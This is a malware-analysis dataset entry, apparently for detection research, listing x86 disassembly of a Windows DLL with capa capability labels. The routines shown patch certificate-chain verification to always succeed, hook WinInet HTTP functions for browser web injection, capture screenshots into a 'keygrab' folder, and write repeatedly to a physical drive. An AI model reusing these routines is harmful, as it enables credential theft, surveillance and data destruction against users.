joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007710
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push edi
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x213]
push ebx
push eax
xor edi, edi
mov dword [ebp - 8], 1
mov dword [ebp - 0xc], 0x104
mov dword [ebp - 4], ebx
mov byte [ebp - 0x214], bl
call sub.ntdll.dll_memset
push 0xff
lea ecx, [ebp - 0x10f]
push ebx
push ecx
mov byte [ebp - 0x110], bl
call sub.ntdll.dll_memset
mov ecx, dword [ebp + 8]
add esp, 0x18
lea eax, [ebp - 4]
push eax
push 0x101
push ebx
push str.softwaremicrosoft
xor edx, edx
push ecx
mov word [ebp - 0x10], dx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000786b
lea edx, [ebp - 0xc]
push edx
mov edx, dword [ebp + 0xc]
lea eax, [ebp - 0x214]
push eax
mov eax, dword [ebp - 4]
lea ecx, [ebp - 8]
push ecx
push ebx
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000786b
mov word [ebp - 0x10], 1
xor ecx, ecx
jmp 0x100077c0
mov byte [ebp + ecx - 0x110], cl
inc ecx
cmp ecx, 0x100
jl 0x100077c0
xor ecx, ecx
mov dl, byte [eax + str.dabetreswe5puphEgawrede3reswusachunawraCr73enetememudecrefan]
xor byte [ebp + ecx - 0x110], dl
inc eax
cmp eax, 0x3c
jl 0x100077e7
xor eax, eax
inc ecx
cmp ecx, 0x100
jl 0x100077d2
lea eax, [ebp - 0x214]
push eax
mov ecx, eax
push ecx
mov edx, 0x104
lea eax, [ebp - 0x110]
call fcn.10012820
lea eax, [ebp - 0x214]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10007813
sub eax, edx
push esi
inc eax
xor esi, esi
cmp eax, ebx
je 0x1000784b
mov edx, dword [0x10054278]
lea edi, [eax + 0x13]
and edi, 0xfffffff0
push edi
push 8
push edx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
cmp esi, ebx
je 0x1000784b
push edi
push ebx
push esi
call sub.ntdll.dll_memset
add esp, 0xc
mov edi, esi
cmp esi, ebx
je 0x1000786a
lea eax, [ebp - 0x214]
mov ecx, eax
sub esi, ecx
jmp 0x10007860
mov cl, byte [eax]
mov byte [esi + eax], cl
inc eax
cmp cl, bl
jne 0x10007860
pop esi
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x10007879
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10007890
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push edi
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x10007a0e
push ebx
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x213]
push ebx
push eax
xor edi, edi
mov dword [ebp - 8], 1
mov dword [ebp - 0xc], 0x104
mov dword [ebp - 4], ebx
mov byte [ebp - 0x214], bl
call sub.ntdll.dll_memset
push 0xff
lea ecx, [ebp - 0x10f]
push ebx
push ecx
mov byte [ebp - 0x110], bl
call sub.ntdll.dll_memset
add esp, 0x18
lea eax, [ebp - 4]
push eax
push 0x101
push ebx
push str.softwaremicrosoft
xor edx, edx
push 0x80000001
mov word [ebp - 0x10], dx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100079fb
lea ecx, [ebp - 0xc]
push ecx
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x214]
push edx
mov edx, dword [ebp - 4]
lea eax, [ebp - 8]
push eax
push ebx
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x100079fb
mov word [ebp - 0x10], 1
xor ecx, ecx
jmp 0x10007950
mov byte [ebp + ecx - 0x110], cl
inc ecx
cmp ecx, 0x100
jl 0x10007950
xor ecx, ecx
mov dl, byte [eax + str.dabetreswe5puphEgawrede3reswusachunawraCr73enetememudecrefan]
xor byte [ebp + ecx - 0x110], dl
inc eax
cmp eax, 0x3c
jl 0x10007977
xor eax, eax
inc ecx
cmp ecx, 0x100
jl 0x10007962
lea eax, [ebp - 0x214]
push eax
mov ecx, eax
push ecx
mov edx, 0x104
lea eax, [ebp - 0x110]
call fcn.10012820
lea eax, [ebp - 0x214]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x100079a3
sub eax, edx
push esi
inc eax
xor esi, esi
cmp eax, ebx
je 0x100079db
mov edx, dword [0x10054278]
lea edi, [eax + 0x13]
and edi, 0xfffffff0
push edi
push 8
push edx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
cmp esi, ebx
je 0x100079db
push edi
push ebx
push esi
call sub.ntdll.dll_memset
add esp, 0xc
mov edi, esi
cmp esi, ebx
je 0x100079fa
lea eax, [ebp - 0x214]
mov ecx, eax
sub esi, ecx
jmp 0x100079f0
mov cl, byte [eax]
mov byte [esi + eax], cl
inc eax
cmp cl, bl
jne 0x100079f0
pop esi
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x10007a09
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp edi, ebx
pop ebx
jne 0x10007a23
mov edx, dword [ebp + 8]
push edx
push 0x80000002
call fcn.10007710
pop edi
mov esp, ebp
pop ebp
ret 4
mov eax, edi
pop edi
mov esp, ebp
pop ebp
ret 4
Function at 0x10007a30
Capabilities:
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
xor ebx, ebx
push 0xff
mov esi, eax
lea eax, [ebp - 0x10b]
push ebx
push eax
mov byte [ebp - 0x10c], bl
call sub.ntdll.dll_memset
push 0x103
lea edx, [ebp - 0x20f]
xor ecx, ecx
push ebx
push edx
mov word [ebp - 0xc], cx
mov byte [ebp - 0x210], bl
call sub.ntdll.dll_memset
add esp, 0x18
mov dword [ebp - 4], ebx
cmp esi, ebx
je 0x10007afa
lea edx, [ebp - 0x210]
mov eax, esi
sub edx, esi
lea esp, [esp]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x10007a90
xor eax, eax
mov word [ebp - 0xc], 1
xor ecx, ecx
jmp 0x10007ab0
mov byte [ebp + ecx - 0x10c], cl
inc ecx
cmp ecx, 0x100
jl 0x10007ab0
xor ecx, ecx
mov dl, byte [eax + str.dabetreswe5puphEgawrede3reswusachunawraCr73enetememudecrefan]
xor byte [ebp + ecx - 0x10c], dl
inc eax
cmp eax, 0x3c
jl 0x10007ad7
xor eax, eax
inc ecx
cmp ecx, 0x100
jl 0x10007ac2
lea eax, [ebp - 0x210]
push eax
mov ecx, eax
push ecx
mov edx, 0x104
lea eax, [ebp - 0x10c]
call fcn.10012820
mov eax, dword [ebp + 8]
lea edx, [ebp - 4]
push edx
push 0x102
push ebx
push str.softwaremicrosoft
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10007b57
cmp esi, ebx
je 0x10007b37
mov edx, dword [ebp - 4]
push 0x104
lea ecx, [ebp - 0x210]
push ecx
push 1
push ebx
push edi
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jmp 0x10007b42
mov eax, dword [ebp - 4]
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
cmp eax, ebx
jne 0x10007b57
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov esi, 1
jmp 0x10007b59
mov esi, ebx
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x10007b67
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x1000b5b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
push 0
push 0
push str.Crypt32.dll
mov dword [ebp - 0xc], 0xc240c033
mov word [ebp - 8], 0x10
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000b621
push str.CertVerifyCertificateChainPolicy
push eax
call edi
mov esi, eax
test esi, esi
je 0x1000b621
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 6
push esi
call ebx
test eax, eax
je 0x1000b620
mov eax, dword [ebp - 4]
test eax, eax
je 0x1000b620
mov ecx, dword [ebp - 0xc]
mov dx, word [ebp - 8]
mov dword [esi], ecx
lea ecx, [ebp - 4]
push ecx
push eax
push 6
push esi
mov word [esi + 4], dx
call ebx
pop ebx
push 0
push 0
push str.Wininet.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov esi, eax
test esi, esi
je 0x1000b736
push 0x10047d70
push esi
call edi
test eax, eax
je 0x1000b656
push 0x100541f8
push 0x1000b110
push eax
call fcn.100154d0
push str.HttpSendRequestW
push esi
call edi
test eax, eax
je 0x1000b672
push 0x100541fc
push 0x1000b000
push eax
call fcn.100154d0
push str.HttpSendRequestExA
push esi
call edi
test eax, eax
je 0x1000b68e
push 0x100541f0
push 0x1000b2e0
push eax
call fcn.100154d0
push str.HttpSendRequestExW
push esi
call edi
test eax, eax
je 0x1000b6aa
push 0x1005420c
push 0x1000b220
push eax
call fcn.100154d0
push str.InternetQueryDataAvailable
push esi
call edi
test eax, eax
je 0x1000b6c6
push 0x10054204
push 0x1000b520
push eax
call fcn.100154d0
push 0x10047ddc
push esi
call edi
test eax, eax
je 0x1000b6e2
push 0x10054208
push 0x1000b390
push eax
call fcn.100154d0
push str.InternetReadFileExA
push esi
call edi
test eax, eax
je 0x1000b6fe
push 0x100541f4
push 0x1000b4d0
push eax
call fcn.100154d0
push str.InternetReadFileExW
push esi
call edi
test eax, eax
je 0x1000b71a
push 0x100541e4
push 0x1000b480
push eax
call fcn.100154d0
push 0x10047e18
push esi
call edi
test eax, eax
je 0x1000b736
push 0x100541e8
push 0x1000abc0
push eax
call fcn.100154d0
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000ba70
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push edi
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x213]
push ebx
push eax
xor edi, edi
mov dword [ebp - 8], 1
mov dword [ebp - 0xc], 0x104
mov dword [ebp - 4], ebx
mov byte [ebp - 0x214], bl
call sub.ntdll.dll_memset
push 0xff
lea ecx, [ebp - 0x10f]
push ebx
push ecx
mov byte [ebp - 0x110], bl
call sub.ntdll.dll_memset
mov ecx, dword [ebp + 8]
add esp, 0x18
lea eax, [ebp - 4]
push eax
push 0x101
push ebx
push str.softwaremicrosoft
xor edx, edx
push ecx
mov word [ebp - 0x10], dx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000bbcb
lea edx, [ebp - 0xc]
push edx
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 8]
push ecx
push ebx
push 0x10056ff8
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000bbcb
mov word [ebp - 0x10], 1
xor ecx, ecx
lea esp, [esp]
mov byte [ebp + ecx - 0x110], cl
inc ecx
cmp ecx, 0x100
jl 0x1000bb20
xor ecx, ecx
mov dl, byte [eax + str.dabetreswe5puphEgawrede3reswusachunawraCr73enetememudecrefan]
xor byte [ebp + ecx - 0x110], dl
inc eax
cmp eax, 0x3c
jl 0x1000bb47
xor eax, eax
inc ecx
cmp ecx, 0x100
jl 0x1000bb32
lea eax, [ebp - 0x214]
push eax
mov ecx, eax
push ecx
mov edx, 0x104
lea eax, [ebp - 0x110]
call fcn.10012820
lea eax, [ebp - 0x214]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x1000bb73
sub eax, edx
push esi
inc eax
xor esi, esi
cmp eax, ebx
je 0x1000bbab
mov edx, dword [0x10054278]
lea edi, [eax + 0x13]
and edi, 0xfffffff0
push edi
push 8
push edx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
cmp esi, ebx
je 0x1000bbab
push edi
push ebx
push esi
call sub.ntdll.dll_memset
add esp, 0xc
mov edi, esi
cmp esi, ebx
je 0x1000bbca
lea eax, [ebp - 0x214]
mov ecx, eax
sub esi, ecx
jmp 0x1000bbc0
mov cl, byte [eax]
mov byte [esi + eax], cl
inc eax
cmp cl, bl
jne 0x1000bbc0
pop esi
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x1000bbd9
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x1000bbf0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push ebx
push edi
xor ebx, ebx
push 0xff
lea eax, [ebp - 0x107]
push ebx
push eax
mov byte [ebp - 0x108], bl
call sub.ntdll.dll_memset
push 0x103
lea edx, [ebp - 0x20b]
xor ecx, ecx
push ebx
push edx
mov word [ebp - 8], cx
mov byte [ebp - 0x20c], bl
call sub.ntdll.dll_memset
add esp, 0x18
xor edi, edi
mov dword [ebp - 4], ebx
cmp esi, ebx
je 0x1000bd16
lea edx, [ebp - 0x20c]
mov eax, esi
sub edx, esi
lea ecx, [ecx]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x1000bc50
xor eax, eax
mov word [ebp - 8], 1
xor ecx, ecx
jmp 0x1000bc70
mov byte [ebp + ecx - 0x108], cl
inc ecx
cmp ecx, 0x100
jl 0x1000bc70
xor ecx, ecx
mov dl, byte [eax + str.dabetreswe5puphEgawrede3reswusachunawraCr73enetememudecrefan]
xor byte [ebp + ecx - 0x108], dl
inc eax
cmp eax, 0x3c
jl 0x1000bc97
xor eax, eax
inc ecx
cmp ecx, 0x100
jl 0x1000bc82
lea eax, [ebp - 0x20c]
push eax
mov ecx, eax
push ecx
mov edx, 0x104
lea eax, [ebp - 0x108]
call fcn.10012820
mov eax, dword [ebp + 8]
lea edx, [ebp - 4]
push edx
push 0x102
push ebx
push str.softwaremicrosoft
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000bd08
mov edx, dword [ebp - 4]
push 0x104
lea ecx, [ebp - 0x20c]
push ecx
push 1
push ebx
push 0x10056ff8
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1000bd08
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov edi, 1
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x1000bd16
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x1000bd20
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push edi
push 0x10047eb0
call esi
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
push eax
call edi
test eax, eax
jne 0x1000bd58
push str._firefox.exe
call esi
push eax
call edi
test eax, eax
je 0x1000be1e
xor eax, eax
mov word [ebp - 8], 1
xor ecx, ecx
mov byte [ebp + ecx - 0x108], cl
inc ecx
cmp ecx, 0x100
jl 0x1000bd62
xor ecx, ecx
jmp 0x1000bd80
mov dl, byte [eax + str.microsoft.public.win32.programmer.kernel]
xor byte [ebp + ecx - 0x108], dl
inc eax
cmp eax, 0x28
jl 0x1000bd95
xor eax, eax
inc ecx
cmp ecx, 0x100
jl 0x1000bd80
push 0x100534a0
push 0x100534a0
mov edx, 0x2d1
lea eax, [ebp - 0x108]
call fcn.10012820
mov ebx, dword [sym.imp.ntdll.dll_strstr]
push str.set_url
push 0x100534a0
call ebx
mov esi, eax
add esp, 8
test esi, esi
je 0x1000bed1
mov edi, eax
lea esp, [esp]
push str.set_url
add esi, 8
push esi
call ebx
mov esi, eax
add esp, 8
test esi, esi
je 0x1000bdf7
mov byte [esi], 0
mov eax, edi
call fcn.1000b740
test esi, esi
je 0x1000be05
mov byte [esi], 0x73
mov edi, esi
test esi, esi
jne 0x1000bde0
push 0x2d1
push esi
push 0x100534a0
call sub.ntdll.dll_memset
add esp, 0xc
xor edi, edi
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x1000be3a
push 0x80000001
call fcn.1000ba70
mov esi, eax
test esi, esi
jne 0x1000be4a
push 0x80000002
call fcn.1000ba70
mov esi, eax
test esi, esi
je 0x1000be7e
push 1
push 0
mov eax, esi
call fcn.100070d0
mov edi, eax
test esi, esi
je 0x1000be7e
mov eax, dword [0x10054278]
push esi
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x1000be7e
mov ecx, dword [0x10054278]
push esi
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ebx, edi
test edi, edi
je 0x1000befb
push str.set_url
push edi
call dword [sym.imp.ntdll.dll_strstr]
mov esi, eax
add esp, 8
test esi, esi
je 0x1000bed4
mov edi, eax
jmp 0x1000bea0
push str.set_url
add esi, 8
push esi
call dword [sym.imp.ntdll.dll_strstr]
mov esi, eax
add esp, 8
test esi, esi
je 0x1000bebb
mov byte [esi], 0
mov eax, edi
call fcn.1000b740
test esi, esi
je 0x1000bec9
mov byte [esi], 0x73
mov edi, esi
test esi, esi
jne 0x1000bea0
jmp 0x1000bed4
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x1000befb
mov edx, dword [0x10054278]
push ebx
push 0
push edx
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x1000befb
mov eax, dword [0x10054278]
push ebx
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000c790
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x18
push ebx
push edi
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
test eax, eax
je 0x1000c85d
push 0
call dword [sym.imp.USER32.dll_GetDC]
mov ebx, eax
test ebx, ebx
je 0x1000c85d
push ebx
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov edi, eax
test edi, edi
je 0x1000c854
push esi
push esi
push ebx
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov dword [esp + 0xc], eax
test eax, eax
je 0x1000c84b
push eax
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
mov ecx, dword [esp + 0x1c]
mov eax, esi
cdq
push 0x660046
sub eax, edx
mov edx, dword [esp + 0x1c]
sar eax, 1
sub ecx, eax
push ecx
sub edx, eax
push edx
push ebx
push esi
push esi
push 0
push 0
push edi
call dword [sym.imp.GDI32.dll_BitBlt]
test eax, eax
je 0x1000c840
mov edx, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x18]
push ecx
push edx
call fcn.1000c620
test eax, eax
je 0x1000c840
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
push eax
mov eax, dword [ebp + 8]
push ecx
call fcn.10006ff0
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.GDI32.dll_DeleteObject]
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebx
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x1000c870
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push ebx
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x206]
push ecx
xor ebx, ebx
mov word [ebp - 0x208], ax
call sub.ntdll.dll_memset
mov edx, dword [ebp + 8]
add esp, 0xc
push edx
call dword [sym.imp.USER32.dll_GetParent]
test eax, eax
je 0x1000c901
push 0x104
lea ecx, [ebp - 0x208]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
test eax, eax
je 0x1000c901
push esi
push edi
xor esi, esi
mov edi, 0x10053490
mov eax, dword [edi]
test eax, eax
je 0x1000c8e0
push eax
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
jne 0x1000c8f4
inc esi
add edi, 0x10
cmp esi, 1
jb 0x1000c8c8
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 4
shl esi, 4
add esi, 0x10053490
pop edi
mov ebx, esi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x1000c910
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
test eax, eax
je 0x1000ca6a
cmp dword [eax + 4], 0x201
jne 0x1000ca6a
mov eax, dword [eax]
push edi
push eax
call fcn.1000c870
mov edi, eax
test edi, edi
je 0x1000ca69
push 0x10054230
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor eax, eax
mov edi, edi
mov cl, byte [eax + 0x10055868]
mov byte [ebp + eax - 0x108], cl
inc eax
test cl, cl
jne 0x1000c950
mov eax, dword [edi + 4]
imul eax, eax, 0x104
push ebx
push esi
lea esi, [eax + 0x10058650]
push esi
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push esi
mov esi, dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea ecx, [ebp - 0x108]
push ecx
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
lea edx, [ebp - 0x108]
push edx
call ebx
test eax, eax
je 0x1000c9c9
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1000c9bf
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_SetLastError]
push str.keygrab
lea edx, [ebp - 0x108]
push edx
call esi
push 0
lea eax, [ebp - 0x108]
push eax
call ebx
test eax, eax
je 0x1000ca0c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1000ca05
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
lea eax, [ebp - 0x108]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000ca22
mov ecx, dword [edi + 0xc]
push ecx
sub eax, edx
push str._02u.jpg
lea edx, [ebp + eax - 0x108]
push 0x104
push edx
call dword [sym.imp.ntdll.dll__snprintf]
mov esi, dword [edi + 8]
inc dword [edi + 0xc]
add esp, 0x10
lea eax, [ebp - 0x108]
push eax
call fcn.1000c790
push 0x10054230
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x1000ca70
Capabilities:
Check if file exists
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
push edi
push 0x104
push 0
push 0x10055d40
call sub.ntdll.dll_memset
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x10056ef4
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000cab8
lea edi, [ebp - 0x108]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1000cac8
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea edx, [ebp - 0x108]
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x1000cb3a
push 1
push 0
lea eax, [ebp - 0x108]
call fcn.100070d0
mov esi, eax
test esi, esi
je 0x1000cb3a
push 0x104
push esi
push 0x10055d40
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov eax, dword [0x10054278]
push esi
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x1000cb3a
mov ecx, dword [0x10054278]
push esi
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
mov eax, 0x10055d40
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000d3f0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push esi
push 2
push eax
call dword [sym.imp.USER32.dll_GetAncestor]
test eax, eax
je 0x1000d4a7
push 0x104
lea ecx, [ebp - 0x108]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea esi, [ebp - 0x108]
call fcn.1000ca70
lea esp, [esp]
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x1000d450
test cl, cl
je 0x1000d44c
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x1000d450
add eax, 2
add esi, 2
test cl, cl
jne 0x1000d430
xor eax, eax
jmp 0x1000d455
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1000d4a7
mov eax, dword [0x10055d38]
mov dword [0x10055d3c], 1
test eax, eax
je 0x1000d49b
mov edx, dword [0x10054278]
push eax
push 0
push edx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x1000d491
mov eax, dword [0x10054278]
push esi
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [0x10055d38], 0
lea ecx, [ebp - 0x108]
push ecx
call fcn.1000cb50
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000d9f0
Capabilities:
Get disk information
Set current directory
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
push 0x103
mov esi, eax
lea eax, [ebp - 0x10f]
push 0
push eax
mov byte [ebp - 0x110], 0
call sub.ntdll.dll_memset
add esp, 0xc
test esi, esi
je 0x1000db1c
cmp dword [esi + 0xc], 0
je 0x1000da39
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x1000db1c
push esi
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x1000db1c
cmp dword [esi + 0xc], 0
je 0x1000db23
mov ecx, dword [esi + 8]
push ecx
push str..PhysicalDrive_u
lea edx, [ebp - 0x110]
push 0x104
push edx
call dword [sym.imp.ntdll.dll__snprintf]
add esp, 0x10
push 0
push 0xa0000000
push 3
push 0
push 3
push 0x40000000
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x1000daf5
mov ebx, dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 4], 0x3e8
push 1
push 0
push 0
push esi
mov dword [ebp - 8], 0
call ebx
push 0
push 0x104
push 0
mov edi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LockFile]
push 0
lea ecx, [ebp - 8]
push ecx
push 0x104
lea edx, [ebp - 0x110]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
push 0x104
push 0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
dec dword [ebp - 4]
jne 0x1000daa3
test esi, esi
je 0x1000db1c
lea eax, [ebp - 4]
push eax
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1000db1c
test byte [ebp - 4], 2
jne 0x1000db1c
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call fcn.100072b0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret